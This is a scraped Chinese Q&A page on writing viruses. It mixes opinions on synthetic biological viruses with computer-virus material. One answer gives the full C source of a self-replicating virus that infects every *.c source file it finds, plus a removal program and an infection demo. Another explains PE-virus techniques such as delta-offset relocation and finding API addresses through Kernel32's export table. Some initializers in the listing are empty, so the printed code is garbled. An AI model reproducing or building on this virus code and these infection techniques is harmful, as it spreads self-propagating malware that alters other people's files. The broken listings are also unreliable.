當前位置:首頁 » 編程軟體 » 人工編譯病毒

人工編譯病毒

發布時間: 2022-05-29 06:46:16

⑴ 人工合成病毒的危害

個人認為,人工合成病毒是一件很危險的事。
因為經歷了這么長的人類歷史,每個人都應該明白疾病給人們帶來了多大的損失
。從鼠疫到天花,從2003年的SARS再到前幾年的禽流感,人類談「毒」色變。病毒雖然結構簡單,但也是很聰明的,因為病毒會變異。人工合成病毒的初衷也許是為人類造福,使人類擺脫病毒的威脅,但或許因為某個疏忽,原本的「福星」卻可以變成災禍之首。科學需要嚴謹的態度,因為一著不慎,滿盤皆輸..不,不僅僅是輸,甚至會導致毀滅。無論再怎麼謹慎,百密必有一疏,當已經造成不可挽回的後果時,後悔就已經太遲了。
第二,大自然有自己的法則,人類過多的干預會破壞自然的平衡,同樣可能造成不可預料的後果。相信都聽說過狼和鹿的故事,有狼這個敵人,鹿才會不斷地鍛煉,才能保持種群的生命力,而如果人類刻意去捕殺狼,鹿則沒有了對手,反而瘟疫蔓延...這個故事或許也人造病毒沒多大關系,但顯示了自然的法則。所以人為的大量干涉必將影響到自然和生態,必須引起重視。人工合成病毒相當於是創造新的物種,但這物種會造成什麼樣的結果呢?很可能打破自然界的生物鏈,破壞生態平衡。(就算病毒只是密封在實驗室里也總有流失的危險性吧)
第三,人工合成病毒具有不可預知的潛力和危害,一旦被居心不軌的人利用(比如恐怖分子之類的..)可能使世界陷入恐怖危機。很多電影上都是恐怖分子用病毒來危險世界的(比如〈諜中諜2〉,這是我最近看的,還有很多的),雖然暫時都只是虛幻的情節,但也是給我們的警醒。
這就是我的意見。

P.S.最近看了一部電影I Am Legend(〈我是傳奇〉或〈末日傳奇〉)片中就是因為對麻疹病毒的改造不利,造成了很大的悲劇。科學技術是用來造福人類的,但也是把雙刃劍,必須慎之又慎。

⑵ 怎樣編寫病毒

3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,不進行插入。找出CALL VIRUSES;的插入點:如果有一行有printf、break、for、while語句其中之一,就對其後插入調用VIRUSES函數的調用語句。把病毒子程序寫入文件。最後處理更改被感染的文件名。如果不進行改名,就不能進行多次傳染,也就是說不能體現病毒的自我復制能力。查找一行是static char viruses_f[]=,把其中的文件名改為被感染的文件名。接著查找下一個匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除過程是和傳染過程相逆的。傳染的時候插入調用viruses函數的調用語句,在病毒清除文件裡面就要刪除掉這個語句。然後還要刪除掉病毒子程序VIURSES_SUB和VIURSES。有一個問題不能進行還原。因為當時插入病毒子程序需要的頭文件時沒有記錄傳染前文件的頭文件信息,所以不能進行還原。但是這一點不影響原文件。所以這點在病毒清除程序中沒有進行處理。
由於演示的時候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個目錄下進行演示。考慮到VIRUS.C會把REVIURS.C傳染和REVIRUS.C會把VIRUS.C清除兩種情況。所以編寫這兩個程序的時候必須加入一條條件語句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
當含有清除部分的程序被執行時。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果無此標志,繼續找其它的C文件,直至全部檢查一遍。若有這個標志,則
(1)查找磁碟文件,如果是有病毒的傳染標志「INFECTED」則打開文件。如果沒有則關閉文件並且尋找下一個TEST*.C。
(2)讀取文件,首先判斷是否為Viruses();如果不是則判斷是否為int Viruses_sub(),如果都不是,則把讀取部分放在二維數組a[500][80]中,如果只是為int Viruses_sub(),則讀取文件結束。
(3)關閉文件,然後刪除該文件。
(4)創建一個跟刪除文件相同名字的文件。然後打開。
(5)把二維數組a[500][80]中的數據寫入到新建的文件中。關閉文件,讀取下一個文件。

3.2 程序流程圖
3.2.1 病毒程序VIRUS.C流程圖

N
N
Y Y





Y
N

3.2.2 解毒程序REVIRUS.C流程圖

N

Y




Y

N
Y

N

3.3其中用到的函數和結構體的說明:
(1)結構體struct ffblk (在dir.h中)類型變數
變數ffblk用於打開文件,獲取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name來保存匹配文件名。
(2)結構體struct date(在dos.h中)變數
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
};
程序中用來獲取系統當前日期。具體用法為:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函數和findnext()函數
調用方式:整型數=findfirst(文件名,&結構變數名,屬性常數組合(如0×24));
功能:檢索由path和attr指定的文件,把結果返回到afer。
Findfirst返回關於第一個指定文件的信息。
Findnext繼續檢索。
返回值:0(檢索成功),-1(沒有找到指定的文件)
屬性常數:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只讀
FA_HIDDEN(0*02) 含意:隱含文件
FA_SYSTEM(0*24) 含意:系統文件
需要用到的頭文件: dir.h
程序中的匹配文件屬於普通文件,所以屬性常數為0。
(4)讀文件
函數原形:char *fgets (char *a, int n, FILE *fp);
功能:
從fp指向的文件讀取一個長度為(n-1)的字元串,最後加一個』 \0』,存入始地址為a的空間。
若在讀完n-1個字元之前遇到換行符或EOF,讀入即結束。
返回值:返回地址a。
若遇文件結束或出錯,返回NULL。
(5)在字元串中查找指定字元串的第一次出現
函數原形;
char *strstr(char *str1,char *str2);
功能:找出str2字元串在str1字元串中第一次出現的位置(不包括str2的串結束符)。
返回值:返回該位置的指針。
若找不到,返回NULL指針。
程序中用這個函數來判斷字元串是否一致。
(6)改變文件位置指針
函數原形:int fseek (FILE *fp, long offset, int base);
功能:將fp所指文件的位置指針移到以base所指出的位置為基準、以offset為位移量的位置。
返回值:返回當前位置。否則,返回-1。SEEK_SET為文件開始。
由於讀取文件的時候文件指針要發生變化。而重新執行一條命令的時候需要重新定位文件指針的位置,所以要用到fseek函數。程序中用這個函數定位到文件頭,對文件進行重新讀取。
3.4 程序清單
3.4.1病毒程序VIRUS.C程序清單如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向將被感染的文件,virus_v指向已帶病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*將被傳染的文件讀入a[500][80]臨時存放*/
static char viruses_f[]=;/*文件被傳染後,修改該值為自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(&today); /*病毒顯示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",&ffblk,0); /*查找第一個匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p1=fgets(&a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部讀入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(&a[n_line][0],80,virus_r);
if(n_line>=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&viruses_f[0],"r"); /*打開帶病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i<5;i++) /*讀帶病毒文件前4行並寫入將被傳染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j<n_line;j++) /*把將被傳染文件的原程序寫回原文件*/
{
include_write=1; /*不寫入病毒文件已有的包含語句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0;i<3;i++)
if(strstr(&a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入調用語句,並加上回車換行*/
for(i=0;i<4;i++)
if(strstr(&a[j][0],main_flag[i])!=NULL)
{
for(k=0;k<80;k++)
b[k]=0;
strcpy(&b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&a[j][0],virus_r);
}
p1=fgets(b,80,virus_v); /*把病毒子程序寫入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一條語句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name);
i=strlen(&b[0]);
b[i]=34;
strcpy(&b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(&ffblk);
}
return(4);
}

viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
}
getch();
}

3.4.2病毒清除程序REVIURS.C清單如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",&ffblk,0);
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0;k<500;k++)
for(j=0;j<80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p=fgets(&b[0],80,virus_r);

if(strstr(p,v_flag[0])!=NULL)
{
line=0;
while(p!=NULL)
{
p=fgets(&b[0],80,virus_r);
if(strstr(&b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(&b[0],"viruses();")==NULL)
{
k=strlen(b);
for(j=0;j<k;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
}
}
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*刪除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打開將被感染的文件*/
for(i=0;i<n_line;i++)
{
fputs(&a[i][0],virus_r); /*把二維數組中的數據寫入原文件*/
}
fclose(virus_r);
}
}
}
done=findnext(&ffblk); /*查找下一個匹配文件*/
}

}

4. 計算機病毒的演示
4.1病毒程序VIRUS.C的演示過程
在一張已經格式化的軟盤上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個尚未被感染的C語言程序TEST1.C和TEST2.C。原始代碼分別如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i<100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下鍵入dir命令查看文件信息。

然後編譯連接並執行VIRUS.C文件,運行結果顯示:
Today is 5/20/2004
Successful
說明傳染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已經被傳染,大小從64變成3949。用type命令查看TEST1的內容

可以看到病毒的子程序已經插入了,而且在主函數裡面插入了調用VIRUSES函數語句。而且文件名自動改為「TEST2.C」。(如圖中紅線所示)
然後再把TEST2.C文件編譯連接並運行。成功後,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小從107變成了3969。再用type命令查看,結果如下:

可以看到,文件名稱已經自動改為TEST1.C,而且病毒子程序已經拷貝過來,在這個過程中REVIRUS.C始終沒有被感染,達到了我們的目的。
文件被感染前後內容如下圖所示:

4.2病毒清除程序REVIRUS.C演示過程
然後我們來演示病毒的清除。編譯運行REVIRUS.C後用dir命令查看文件信息。

圖中可以看到TEST1.C和TEST2.C都變小了。雖然沒有還原到以前的大小。這是因為運行病毒子程序需要的頭文件沒有刪除,原因前面已經提及過了。然後用type命令分別查看一下TEST1.C和TEST2.C的內容。

圖中可以看到,除了程序需要用到的頭文件,剩下的已經基本還原。而且沒有清除VIRUS.C裡面的程序,基本達到了清除病毒的目的。演示成功。
從演示過程中可以看出,一旦程序被病毒感染,這個程序經過編譯連接後運行時就能向沒感染上病毒的程序擴散病毒,使病毒在系統中不斷蔓延下去。而病毒清除程序運行一次就可以刪除掉所有的病毒子程序和插入的調用語句。

⑶ 為什麼大多數人用匯編寫病毒,很少人用Java寫病毒啊

一方面是因為匯編編譯後的代碼短小精悍,可以充分進行人工優化,以滿足隱蔽性的要求;另外一方面之所以用匯編是因為其靈活和可控,病毒要同系統底層有時甚至是硬體打交道,由於編譯器的特點不盡相同,用高級語言實現某些功能甚至會更加麻煩,比如用匯編很方便地就可以直接進行自身重定位、自身代碼修改以及讀寫IO 埠等操作,而用高級語言實現則相對煩瑣。用匯編還可以充分利用底層硬體支持的各種特性,限制非常少。而且Java不可能寫病毒,原因前幾位已近說了

⑷ 人工合成病毒的研究,應該肯定還是應該否定為什麼

不能簡單地說肯定還是否定,科技是把雙刃劍,有其利亦有其弊。

人工合成病毒有助於人類了解病毒的結構原理,甚至掌握該項技術,其前途是不可估量,但任何一樣科技都有可能被濫用,甚至用於戰爭,但只要防範得當,用在對人類有益的方面上,譬如為人類或動物做防疫疫苗,做殺蟲劑,給人類研究這病毒的發展,病毒的變種等方面還是一件好事。

1、對於基因工程、細胞工程等高科技領域,病毒是進行科學研究的必要工具,這時候人工合成病毒的研究能夠為人類造福。

2、在戰爭領域,人工合成病毒屬於生化武器,應該嚴格的禁止。

(4)人工編譯病毒擴展閱讀:

人工合成病毒不能叫做人工製造了生命。

病毒沒有自己的代謝機構,沒有酶系統。因此病毒離開了宿主細胞,就成了沒有任何生命活動、也不能獨立自我繁殖的化學物質。最基本的生命系統是細胞,而病毒不具有細胞結構,所以雖然病毒是生物,但是病毒獨立存在時沒有生命活動,人工合成病毒不可以叫做人工製造了生命。

⑸ 電腦病毒是不是百分之百都是人為製造的

一.計算機病毒是一種人為製造的、隱藏在計算機系統的數據資源中的、能夠自我復制進行傳播的程序。
特點:
?1、寄生性
2、隱蔽性
3、非法性
4、傳染性
5、破壞性
6、潛伏性
7、可觸發性
危害:
病毒激發對計算機數據信息的直接破壞作
佔用磁碟空間和對信息的破壞寄生在磁碟上的病毒總要非法佔用一部分磁碟空間。
搶占系統資源
影響計算機運行速度
計算機病毒錯誤與不可預見的危害
計算機病毒的兼容性對系統運行的影響
計算機病毒給用戶造成嚴重的心理壓力
二.我知道網蟲病毒,女鬼病毒,CIH病毒
傳播途徑:1、不可移動的計算機硬體設備
??? ?這些設備通常有計算機的專用ASIC晶元和硬碟等。這種病毒雖然極少,但破壞力卻極強,目前尚沒有較好的檢測手段對付。
????2、移動存儲設備
???? 可移動式磁碟包括軟盤、CD-ROM(光碟)、磁帶、優盤等其中軟盤是使用廣泛、移動頻繁的存儲介質,因此也成了計算機病毒寄生的「溫床」。盜版光碟上的軟體和游戲及非法拷貝也是目前傳播計算機病毒主要途徑之一。隨著大容量可移動存儲設備如Zip盤、可擦寫光碟、磁光碟(MO)等的普遍使用,這些存儲介質也將成為計算機病毒寄生的場所。
???? 硬碟是現在數據的主要存儲介質,因此也是計算機病毒感染的重災區。硬碟傳播計算機病毒的途徑體現在:硬碟向軟盤上復制帶毒文件,帶毒情況下格式化軟盤,向光碟上刻錄帶毒文件,硬碟之間的數據復制,以及將帶毒文件發送至其他地方等。在移動存儲設備中,軟盤是使用最廣泛移動最頻繁的存儲介質,因此也成了計算機病毒寄生的「溫床」。
????3、計算機網路
???? 現代信息技術的巨大進步已使空間距離不再遙遠,「相隔天涯,如在咫尺」,但也為計算機病毒的傳播提供了新的「高速公路」。計算機病毒可以附著在正常文件中通過網路進入一個又一個系統,國內計算機感染一種「進口」病毒已不再是什麼大驚小怪的事了。在我們信息國際化的同時,我們的病毒也在國際化。
???? 4、點對點通信系統和無線通道
???? 目前,這種傳播途徑還不是十分廣泛,但預計在未來的信息時代,這種途徑很可能與網路傳播途徑成為病毒擴散的兩大「時尚渠道」。

⑹ 每一個計算機病毒都是人編的嗎

不一定··可以用工具來生成,然後在加殼,菜鳥長用的手法···高深一點的生成以後可以自己改寫加殼,繞過殺毒軟體起到免殺效果

⑺ 電腦病毒都是什麼人製作的目的是什麼

是那些所謂的'高手'做的
他們編譯電腦病毒當然是有各種不同的目的的
比如,若干年前一所大學的一名學生為炫耀自己,編譯了CIH病毒
等等......
反正目的就是以下幾點
1.炫耀(通常是那些不怎麼厲害的病毒)
2.為了經濟利益(比如上回有個中學生利用電腦病毒,差點盜走了比爾改茨的存在銀行的舉款)
3.惡作劇
4.好玩
5.陷害他人
6.為了盜取機密或重要文件
基本上就是這些了,希望你能滿意

⑻ 人工合成病毒的研究,應該肯定還是否定,不應該完全肯定對吧,那否定的理由有哪些呢

1、合成了未知的,無法控制的病毒,那是災難性的。
2、就算是可控制的,萬一事故導致病毒在外界傳播,將打破生態平衡。
3、就算是合理的使用了合成的病毒,但它的基因可能外流,導致其他生物產生變異。
4、被壞人用在戰爭或其他威脅人類自身安危的地方。
……

⑼ 天然病毒是生命 人工合成病毒就不是生命

天然病毒不像其他生物一樣具有細胞結構,只有蛋白質外殼和遺傳物質,瘋牛病病毒甚至連遺傳物質也沒有(成為朊病毒),但是生物學把他歸為特殊的病毒界。按照目前水平,人工大都合成病毒只是把遺傳物質注入另一類蛋白質外殼中,它若能進入寄主細胞內繁殖後代,生物學上也歸作生物。計算機病毒是不是生物,它可以自主繁殖(復制)、生長發育(「吃掉」東西不斷變大),但是貌似不能新陳代謝?所以,一切教科書中都稱,計算機病毒不是生物,它只是人工編譯的一段代碼。關於病毒分類的知識,我是在初中科學競賽中學到的。

⑽ 怎麼編程病毒

摟主`你多C語言懂多少呀?通常只要在病毒代碼的開始計算出delta offset,通過變址定址的方式書寫引用數據的匯編代碼,即可保證病毒代碼在運行時被正確重定位。假設ebp 包含了delta offset,使用如下變址定址指令則可保證在運行時引用的數據地址是正確的:

;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在書寫源程序時可以採用符號來代替硬編碼的地址值,上述的例子中給出的不過是編譯器對符號進行地址替換後的結果。現在的問題就轉換成如何獲取delta offset的值了,顯然:

call delta
delta:
pop ebp
sub ebp,offset delta
在運行時就動態計算出了delta offset 值,因為call要將其後的第一條指令的地址壓入堆棧,因此pop ebp 執行完畢後ebp 中就是delta的運行時地址,減去delta的編譯時地址「offset delta」就得到了delta offset 的值。除了用明顯的call 指令外,還可以使用不那麼明顯的fstenv、fsave、fxsave、fnstenv等浮點環境保存指令進行,這些指令也都可以獲取某條指令的運行時地址。以fnstenv 為例,該指令將最後執行的一條FPU 指令相關的協處理器的信息保存在指定的內存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不過是ebp 作為棧幀指針一般過程都不將該寄存器用於其它用途,因此大部分病毒作者都習慣於將delta offset 保存在ebp 中,其實用其他寄存器也完全可以。

在優化過的病毒代碼中並不經常直接使用上述直接計算delta offset 的代碼,比如在Elkern開頭寫成了類似如下的代碼:

call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
為什麼不採用第二種書寫代碼的方式?其原因在於盡管第一種格式在書寫源碼時顯得比較羅嗦, 但是addrOpenProcess-_start_ip 是一個較小相對偏移值,一般不超過兩個位元組,因此生成的指令較短,而addrOpenProcess在32 Win32編譯環境下一般是4 個位元組的地址值,生成的指令也就較長。有時對病毒對大小要求很苛刻,更多時候也是為了顯示其超俗的編程技巧,病毒作者大量採用這種優化,對這種優化原理感興趣的讀者請參閱Intel手冊卷2中的指令格式說明。

API 函數地址的獲取

在能夠正確重定位之後,病毒就可以運行自己代碼了。但是這還遠遠不夠,要搜索文件、讀寫文件、進行進程枚舉等操作總不能在有Win32 API 的情況下自己用匯編完全重新實現一套吧,那樣的編碼量過大而且兼容性很差。

Win9X/NT/2000/XP/2003系統都實現了同一套在各個不同的版本上都高度兼容的Win32 API,因此調用系統提供的Win32 API實現各種功能對病毒而言就是自然而然的事情了。所以接下來要解決的問題就是如何動態獲取Win32 API的地址。最早的PE病毒採用的是預編碼的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那麼就在病毒代碼中使用call [7EE63260h]調用該API,但問題是不同的Windows 版本之間該API 的地址並不完全相同,使用該方法的病毒可能只能在Windows 2000的某個版本上運行。

因此病毒作者自然而然地回到PE結構上來探求解決方法,我們知道系統載入PE 文件的時候,可以將其引入的特定DLL 中函數的運行時地址填入PE的引入函數表中,那麼系統是如何為PE引入表填入正確的函數地址的呢?答案是系統解析引入DLL 的導出函數表,然後根據名字或序號搜索到相應引出函數的的RVA(相對虛擬地址),然後再和模塊在內存中的實際載入地址相加,就可以得到API 函數的運行時真正地址。在研究操作系統是如何實現動態PE文件鏈接的過程中,病毒作者找到了以下兩種解決方案:

A)在感染PE 文件的時候,可以搜索宿主的函數引入表的相關地址,如果發現要使用的函數已經被引入,則將對該API 的調用指向該引入表函數地址,若未引入,則修改引入表增加該函數的引入表項,並將對該API 的調用指向新增加的引入函數地址。這樣在宿主程序啟動的時候,系統載入器已經把正確的API 函數地址填好了,病毒代碼即可正確地直接調用該函數。

B)系統可以解析DLL 的導出表,自然病毒也可以通過這種手段從DLL 中獲取所需要的API地址。要在運行時解析搜索DLL 的導出表,必須首先獲取DLL 在內存中的真實載入地址,只有這樣才能解析從PE 的頭部信息中找到導出表的位置。應該首先解析哪個DLL 呢?我們知道Kernel32.DLL幾乎在所有的Win32 進程中都要被載入,其中包含了大部分常用的API,特別是其中的LoadLibrary 和GetProcAddress 兩個API可以獲取任意DLL 中導出的任意函數,在迄今為止的所有Windows 平台上都是如此。只要獲取了Kernel32.DLL在進程中載入的基址,然後解析Kernel32.DLL 的導出表獲取常用的API 地址,如需要可進一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 兩個API 更簡單地獲取任意其他DLL 中導出函數的地址並進行調用。

熱點內容
樹莓派搭建esc伺服器 發布:2024-06-01 22:28:43 瀏覽:139
wp資料庫緩存插件 發布:2024-06-01 22:23:58 瀏覽:637
安卓系統如何運行低版本 發布:2024-06-01 22:10:02 瀏覽:333
不搭建伺服器能建網站嗎 發布:2024-06-01 22:09:58 瀏覽:112
java覆蓋和重寫 發布:2024-06-01 22:05:46 瀏覽:989
linux裝oracle 發布:2024-06-01 22:04:46 瀏覽:112
怎麼利用公司空閑伺服器掙錢 發布:2024-06-01 22:04:41 瀏覽:100
低利率資產配置該怎麼辦 發布:2024-06-01 22:03:31 瀏覽:899
shell調用腳本文件 發布:2024-06-01 21:44:57 瀏覽:391
android搜索listview 發布:2024-06-01 21:27:43 瀏覽:748